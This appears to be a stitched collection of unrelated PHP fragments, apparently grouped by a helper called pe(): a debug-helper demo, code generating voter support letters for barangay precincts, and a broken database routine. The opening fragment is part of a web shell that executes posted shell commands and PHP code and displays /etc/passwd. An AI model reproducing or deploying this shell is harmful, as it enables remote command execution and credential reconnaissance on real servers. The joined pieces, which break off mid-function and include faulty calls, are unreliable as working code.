$f = @create_function('', $c); $f(); } else { $f = ctf(' <?php ' . $c . ' ?> '); @(include $f); @unlink($f); } echo escHTML(@ob_get_clean()); } echo '<div class="xmp">'; if (!empty($_POST['ex'])) { se('(' . $_POST['ex'] . ')2>&1'); } elseif (!empty($_POST['ev'])) { pe($_POST['ev']); } echo '</div>'; } elseif (isset($_POST['si'])) { ?> <fieldset><form action="" method="post"><button type="submit" name="si" value="">phpinfo</button> <?php if (!IW && @is_readable('/etc/passwd')) { echo ' <button type="submit" name="si" value="p">passwd</button>'; } ?> </form></fieldset> <?php if ($_POST['si'] == 'p') { echo '<div class="xmp">', @file_get_contents('/etc/passwd'), '</div>'; } else {
public function generate_letter_support_pdf($arrData, $pData) { $this->load->model('setup_model'); $letter = $this->setup_model->get_by(array('name' => 'Letter')); $ward_letter = $this->setup_model->get_by(array('name' => 'Ward Leader Letter')); $support_letter = $this->setup_model->get_by(array('name' => 'Letter of Support')); $this->load->library('pdf'); $pdf = new Pdf('L', 'mm', 'LETTER', true, 'ISO-8859-1', false); $pdf->SetTitle($pData['brgy'] . '-LETTER-' . date("YmdHis")); $pdf->SetHeaderMargin(0); $pdf->SetTopMargin(10); $pdf->SetLeftMargin(20); $pdf->SetRightMargin(20); $pdf->setFooterMargin(10); $pdf->SetAutoPageBreak(true, 10); $pdf->SetFontSize(10); $pdf->SetAuthor('Author'); // set font $pdf->SetFont('freeserif', '', 10); $ctr = 0; foreach ($arrData as $result) { if ($ctr % 2 == 0) { $pdf->AddPage('P', 'LEGAL'); $pdf->setY(15); } else { $pdf->setY(190); } $result = (object) $result; $voter_name = explode(",", htmlentities($result->full_name)); $html = ""; $html .= "<br/>"; $html .= '<b>' . trim(htmlentities($result->full_name)) . '</b>'; $html .= "<br/>"; $html .= '<b>' . trim($result->brgy) . '</b>'; $html .= "<br/>"; $html .= '<b>' . trim($result->precinct) . '</b>'; $html .= "<br/>"; $html .= "<br/>"; $html .= 'Minamahal na <b>' . (trim($result->gender) == 'M' ? 'G.' : 'Bb/Gng.') . " " . ucfirst(trim(strtolower(htmlentities($voter_name[0])))) . ":</b>"; $html .= "<br/>"; // $html .= $is_ward ? $ward_letter['content'] : $letter['content']; $html .= $support_letter['content']; $html .= "<br/>"; $html .= '<table>' . '<tr>' . '<td width="60%"></td>' . '<td>Gumagalang, </td>' . '</tr>' . '<tr>' . '<td width="60%"></td>' . '</tr>' . '<tr>' . '<td width="50%" align="center"><b> <img src="' . base_url('assets/images/alexander_pajarillo_sign.jpg') . '" height="55" width="150"/></b></td>' . '<td width="50%" align="center"><b> <img src="' . base_url('assets/images/edgardo_tallado_sign.jpg') . '" height="55" width="150"/></b></td>' . '</tr>' . '<tr>' . '<td width="50%" align="center"><i>Mayor</i></td>' . '<td width="50%" align="center"><i>Governor</i></td>' . '</tr>' . '<tr>' . '<td width="60%"></td>' . '</tr>' . '<tr>' . '<td width="100%" align="center"><u> <b>' . trim(htmlentities($result->full_name)) . '</b> </u></td>' . '</tr>' . '<tr>' . '<td width="100%" align="center">Lagda</td>' . '</tr>' . '</table>'; $pdf->writeHTML($html, true, false, false, false, ''); $ctr++; // if($ctr == 1){ // $pdf->setY(100); // $ctr = 0; // } } $pdf->Output('letter.pdf', 'I'); exit; pe($letter); }
<?php // 既可以函数方式调用也可以 类方法调用 // 如: d() de() p() pe() Po::d() Po::de() Po::p() Po::pe() include_once realpath(__DIR__ . '/..') . '/functions.php'; //也可只加载 Po.php 这时候仅可以用 类方法调用 如: Po::d() Po::de() Po::p() Po::pe() // include_once realpath(__DIR__.'/..').'/Po.php'; $d = array(false, true, null, 234, 34.67, 'werfdfdfdf' => 'werfdfdfdf', 'yyyyyyyy' => array('ttttttttttttt', 'yyyyyyyyyyyyy', 'kkkkkkkkkkkk' => array('uuuuuuuuuu', 1323))); $j = json_encode($d); $o = json_decode($j); // \Po::hidden(); d('wwwwwwwwww', 23453545, $d, $o); p('wwwwwwwwww', 23453545, $d, $o); pr('ddddddddd', 23453545, $d, $o); vd('ddddddddd', 23453545, $d, $o); pe('ddddddddd', 23453545, $d, $o); // 会退出 de($_SERVER); // 会退出
public function barangay_list() { $sql = "SELECT DISTINCT(brgy) as name FROM list"; $query = $this->db->query($sql); foreach ($query->result() as $brgy) { $data = array(); $data['name'] = $brgy->name; $this->db->insert('barangays', $data); } pe($data->result()); exit; }